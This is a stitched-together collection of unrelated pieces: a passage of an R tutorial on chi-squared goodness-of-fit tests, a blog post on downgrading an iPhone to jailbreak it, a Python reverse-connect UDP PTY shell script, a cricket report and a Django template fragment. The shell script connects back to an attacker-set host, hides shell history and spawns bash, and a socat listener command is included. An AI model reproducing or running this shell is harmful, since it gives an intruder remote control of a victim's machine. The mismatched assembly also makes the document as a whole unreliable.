dplyr::mutate(prob_20 = dchisq(x = count, df = 20)) %>%
dplyr::mutate(prob_100 = dchisq(x = count, df = 100)) %>%
tidyr::pivot_longer(cols = starts_with("prob"),
names_to = "df",
names_prefix = "prob_",
names_ptypes = list(df = factor()),
values_to = "prob") %>%
dplyr::mutate(mu = df %>%
as.character() %>%
as.numeric()) %>%
dplyr::mutate(df = paste0("df = ", df) %>%
factor(levels = c("df = 2",
"df = 5",
"df = 20",
"df = 100"))) %>%
ggplot(aes(x = count,
y = prob)) +
geom_point(alpha = .4) +
geom_segment(aes(xend = count,
y = 0,
yend = prob),
alpha = .4) +
theme_bw() +
scale_x_continuous() +
labs(x = "Count",
y = "Probability") +
theme(legend.position = "none") +
facet_wrap(. ~ df, nrow = 2, scales = "free_y") +
geom_vline(aes(xintercept = mu),
color = "red")
11.2 Chi Squared Test
The chisq.test()
function in the base R stats
package can be used to perform a Goodnes-of-Fit or one-way Chi-Squared test. This assesses if the observed counts are significantly different from a given profile. The comparison or expected counts may be based on all levels being equally likely or any other specification.
Steps: 1. Enter the data as a ‘concatinated vector’ and change it to the class ‘table’ 2. Perform the test, saving the model fit 3. Extract the observed and expected counts 4. Extract the test output 5. Write up the methods & results
11.3 Null Hypothesis: Equally Likely
Frequently we will to test if there is any difference between the counts in groups. This omnibus test compares the counts in each group to the uniform distribution. This means the expected count in all groups is the same. The expected counts may be found by dividing the total sample by the number of groups.
11.3.1 Ex. Senator Support
A Senator supports a bill favoring stem cell research. However, she realizes her vote could influence whether or not her constituents endorse her bid for re-election. She decides to vote for the bill only if 50% of her constituents support this type of research.
In a random survey of 200 constituents, 96 are in favor of stem cell research. Will the senator support the bill?
support against Sum
96 104 200
Defaults
- Null Hypothesis: “equally likely”
p = c(1/k, 1/k, 1/k, ... 1/k)
k = number of categories
support against
96 104
support against
100 100
Chi-squared test for given probabilities
data: .
X-squared = 0.32, df = 1, p-value = 0.5716
11.3.2 Ex. Books
Question:
Is there a difference in number of books checked out for different days of the week?
<IP_ADDRESS> Enter observed counts
This example is given in the Barry Cohen textbook. The library counts the number of books checked out each day for a week. The counts are entered below.
my_book_counts <- c(Monday = 20,
Tuesday = 14,
Wednesday = 18,
Thursday = 17,
Friday = 22,
Saturday = 29) %>%
as.table()
my_book_counts
Monday Tuesday Wednesday Thursday Friday Saturday
20 14 18 17 22 29
<IP_ADDRESS> Perform the test, saving the model fit
NOTE: You do not need to declare any options inside the
chisq.test()
function, as the default is to use equally likely probabilities.
<IP_ADDRESS> Extract the observed and expected counts
You can ask for the observed counts. These are just the data your entered into the test.
NOTE: The observed counts MUST be whole numbers!
Monday Tuesday Wednesday Thursday Friday Saturday
20 14 18 17 22 29
You can also ask for the expected counts. The default is for each group to have the total sample divided equally.
NOTE: The expected counts CAN be decimal values.
Monday Tuesday Wednesday Thursday Friday Saturday
20 20 20 20 20 20
You can use the code below to create a single table with both the observed and expected counts, as well as the total for each.
rbind(Observed = fit_book_chisq_el$observed,
Expected = fit_book_chisq_el$expected,
Residual = fit_book_chisq_el$observed - fit_book_chisq_el$expected) %>%
as.table() %>%
addmargins(margin = 2) %>%
pander::pander()
| Monday | Tuesday | Wednesday | Thursday | Friday | Saturday | Sum | |
|---|---|---|---|---|---|---|---|
| Observed | 20 | 14 | 18 | 17 | 22 | 29 | 120 |
| Expected | 20 | 20 | 20 | 20 | 20 | 20 | 120 |
| Residual | 0 | -6 | -2 | -3 | 2 | 9 | 0 |
<IP_ADDRESS> Extract the test output
Chi-squared test for given probabilities
data: .
X-squared = 6.7, df = 5, p-value = 0.2439
<IP_ADDRESS> Visualize
<IP_ADDRESS> Write-up
Methods
To assess if books are checked out uniformly throughout the week, a 1-way Chi Squared Goodness of Fit test was conducted.
Results
This one week provides no evidence that books are checked out more or less on any given day, \(\chi^2 (5) = 6.70\), \(p = .244\).
11.3.3 Ex. M & M Colors
<IP_ADDRESS> Enter observed counts
tab_color_counts <- c(brown = 4,
yellow = 2,
red = 10,
green = 23,
blue = 14,
orange = 12) %>%
as.table()
tab_color_counts
brown yellow red green blue orange
4 2 10 23 14 12
<IP_ADDRESS> Perform the test, saving the model fit
NOTE: You do not need to declare any options inside the
chisq.test()
function, as the default is to use equally likely probabilities.
<IP_ADDRESS> Extract the observed and expected counts
You can ask for the observed counts. These are just the data your entered into the test.
NOTE: The observed counts MUST be whole numbers!
brown yellow red green blue orange
4 2 10 23 14 12
You can also ask for the expected counts. The default is for each group to have the total sample divided equally.
NOTE: The expected counts CAN be decimal values.
brown yellow red green blue orange
10.83333 10.83333 10.83333 10.83333 10.83333 10.83333
You can use the code below to create a single table with both the observed and expected counts, as well as the total for each.
rbind(Observed = fit_chisq_el$observed,
Expected = fit_chisq_el$expected,
Residual = fit_chisq_el$observed - fit_chisq_el$expected) %>%
as.table() %>%
addmargins(margin = 2) %>%
pander::pander()
| brown | yellow | red | green | blue | orange | Sum | |
|---|---|---|---|---|---|---|---|
| Observed | 4 | 2 | 10 | 23 | 14 | 12 | 65 |
| Expected | 10.83 | 10.83 | 10.83 | 10.83 | 10.83 | 10.83 | 65 |
| Residual | -6.833 | -8.833 | -0.8333 | 12.17 | 3.167 | 1.167 | 7.105e-15 |
<IP_ADDRESS> Extract the test output
Chi-squared test for given probabilities
data: .
X-squared = 26.292, df = 5, p-value = 7.831e-05
<IP_ADDRESS> Write-up
Methods
To assess if my bag of M & M’s supports the hypothesis that all colors are equally produced, a 1-way Chi Squared Goodness of Fit test was conducted.
Results
Statistically significant evidence was found that not all the colors are equally produced, \(\chi^2 (5) = 26.29\), \(p < .001\). There were fewer brown and yellow, as well as more green, than would be expected.
11.4 Null Hypothesis: a Specific Distribution
11.4.1 Ex. M & M Colors
Years ago, the Mars company used to post the ‘color breakdown’ for each type of M & M it produced on its website. The information has since been removed, but the last time I checked it claim that plain, milk chocolate M & M’s consisted of:
- 13% brown
- 14% yellow
- 13% red
- 16% green
- 24% blue
- 20% orange
<IP_ADDRESS> Perform the test, saving the model fit
NOTE: You DO need to declare any options inside the
chisq.test()
function, as the default is to use equally likely probabilities.
To compare observed counts to a specified distribution, you need to add that breakdown of 100% (or probability of 1.0) inside the chisq.test()
. Make sure that your probabilities add up to EXACTLY ONE! If ther are off by even .00001, it will not run and give and error instead.
<IP_ADDRESS> Extract the observed and expected counts
You can use the code below to create a single table with both the observed and expected counts, as well as the total for each.
rbind(Observed = fit_chisq_hist$observed,
Expected = fit_chisq_hist$expected,
Residual = fit_chisq_hist$observed - fit_chisq_hist$expected) %>%
as.table() %>%
addmargins(margin = 2) %>%
pander::pander()
| brown | yellow | red | green | blue | orange | Sum | |
|---|---|---|---|---|---|---|---|
| Observed | 4 | 2 | 10 | 23 | 14 | 12 | 65 |
| Expected | 8.45 | 9.1 | 8.45 | 10.4 | 15.6 | 13 | 65 |
| Residual | -4.45 | -7.1 | 1.55 | 12.6 | -1.6 | -1 | -3.553e-15 |
<IP_ADDRESS> Extract the test output
Chi-squared test for given probabilities
data: .
X-squared = 23.674, df = 5, p-value = 0.0002508
<IP_ADDRESS> Write-up
Methods
To assess if my bag of M & M’s supports the reported color breakdown that used to be listed on teh Mars website, a 1-way Chi Squared Goodness of Fit test was conducted.
Results
Statistically significant evidence was found that the color breakdown has changed since the website posting, \(\chi^2 (5) = 23.67\), \(p < .001\). There were fewer brown and yellow, as well as more green, than would be expected if it were still the same.


Downgrading iPhone Firmware from 3.1.3 to 3.1.2
It was a pretty long chain of unfortunate events that led me to accidentally upgrade to 3.1.3. I was sitting in my couch one day, watching TV, eating random junk food. My iPhone was running a jailbroken 3.1.2 with all my favorite apps. Life was good. And then I get a text message… I recognize the signature at the end of the message, but the caller ID is a phone number instead of the name it’s supposed to be.  I fire up the calendar; Nothing there. Same thing for the mail. So by now I’m wondering what is going on, try to reset my Google Sync setup, to no avail.
In a last effort to get my stuff back, I stepped in the trap that Apple set for me, and pressed the Restore button. I told myself, hey, there’s a tool to JB that version anyways, right? Nope there isn’t. I really want to stress this point: THERE IS NO GOOD JAILBREAKING TOOL FOR FIRMWARE 3.1.3! There is one tool out there that claims to hack previously jailbroken iPhones/iPod Touches by injecting a modified firmware image, but I and many others have not found any success. While the jailbreak seemed to have worked, I could not get any cellular reception from Rogers, which kind of defeats the purpose of having an iPhone in the first place. Don’t be lured by the very minor bugfixes, 3.1.3 is no good, no matter from what angle you look at it.
So there I was, stuck with a bone-stock iPhone. I might as well have dumped it in a lake, because as everyone knows, once you go jailbreak, the ugly and inefficient stock iPhone UI is unbearable at best. Something had to be done… but I had no idea what to do. Downloading firmware 3.1.2 and force overwriting it to your phone will not work, because with all the latest versions of iTunes, Apple has to authorize your reflash.
BUT! There is a but. I was able to reflash my phone to 3.1.2 using a pretty simple procedure. This will take a bit of your time, and it will probably be pretty scary, but it’s well worth the ability to jailbreak again. Please not that I am not responsible for whatever happens to your phone.
Follow the following:
- Get iTunes 8.1.2 and install it. Try using a spare computer if you can, because the older version will not want to install with iTunes 9 on your computer. You can always uninstall 9 and reinstall the other version... but then you get all the associated problems. Whatever, just get a working copy of 8.1.2.
 Yup, that's right, you'll want to voluntarily brick your phones software with Blackra1n. Chances are that if you're not totally new to jailbreaking, you know Blackra1n; it's probably the easiest to use jailbreaking app out there, but sadly it only works with 3.1.2. Run it nonetheless, and your iPhone will fall into a boot loop.
- Plug in your iPhone to your computer and force restore to 3.1.2.  It is still a good idea to turn off your internet while you are flashing. Shift click on Restore and point it to the firmware image for 3.1.2. Installation should be a tad longer, but otherwise pretty much to the point.
- Once your iPhone is restored, jailbreak once again. It's that easy. Blackra1n should now work like a charm. At least it did for me. The baseband update didn't seem to affect BR's potency, although you can now forget any potential unlocking.
The latter worked for me in a Windows Vista SP2 environment with an early model iPhone 3Gs, and while I can’t confirm that it will work on all platforms with all devices, I don’t see why it shouldn’t. After all, the iTunes function which allows any unverified restore if the phone is a goner could very possibly be a planned customer care feature. But then again, since when does Apple do stuff for it’s customers?
That being said, if you’re not necessarily trying to get a quick fix, you might want to see if the steps work with the latest version of iTunes.
Pinging me back in case of success would most likely be very appreciated by both me and the jailbreak community as a whole. Drop a comment, copy to forums (with a link of course, net etiquette requires), pingback from your blog, whatever. As long as this info can get more people jailbroken, then I’m a happy man.


#!/usr/bin/python2
"""
Reverse Connect UDP PTY Shell - testing version
infodox - insecurety.net (2013)
Please note this may not work and I need to clean it up.
It is also COMPLETELY untested as right now I do not have a
linux box to test it on. I will do so later today.
Gives a reverse connect PTY over UDP.
For an excellent listener use the following socat command:
socat file:`tty`,echo=0,raw udp-listen:PORT
"""
import os
import pty
import socket
lhost = "<IP_ADDRESS>" # XXX: CHANGEME
lport = 31337 # XXX: CHANGEME
def main():
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.connect((lhost, lport))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
os.putenv("HISTFILE",'/dev/null')
pty.spawn("/bin/bash")
s.close()
if __name__ == "__main__":
main()


‘Simply how good this Indian team is’: Hosts crush Bangladesh with an innings win
Winning the Indore Test against Bangladesh by an innings and 130 runs, Virat Kohli-led side drew first blood in the two-match Test series against Bangladesh.
by Sports DeskMohammed Shami and Ravichandran Ashwin led the way as India crushed Bangladesh by an innings and 130 runs on the third day of the first Test at the Holkar International Stadium in Indore on Saturday.
Bangladesh, which was dismissed for 150 in its first innings, was bowled out for 213 in its second after Tea. Mushfiqur Rahim made a gritty 64 before he fell to off-spinner Ashwin, who also took the last wicket of Ebadot Hossain. While he registered a 3/42, paceman Shami took 4/31. Earlier, India declared on its overnight score of 493/6.


{% extends "base.html" %} {% load staticfiles %} {% block title %}Contact Information{% endblock %} {% block body_content %} {% include 'fragments/user_info.html' %}
Providing your cell phone number and/or external (non-PSU) email address will allow you to use OAM’s self-service password reset features. In the event that you need to reset your password, an automated message will be sent to your email/phone with a reset code.


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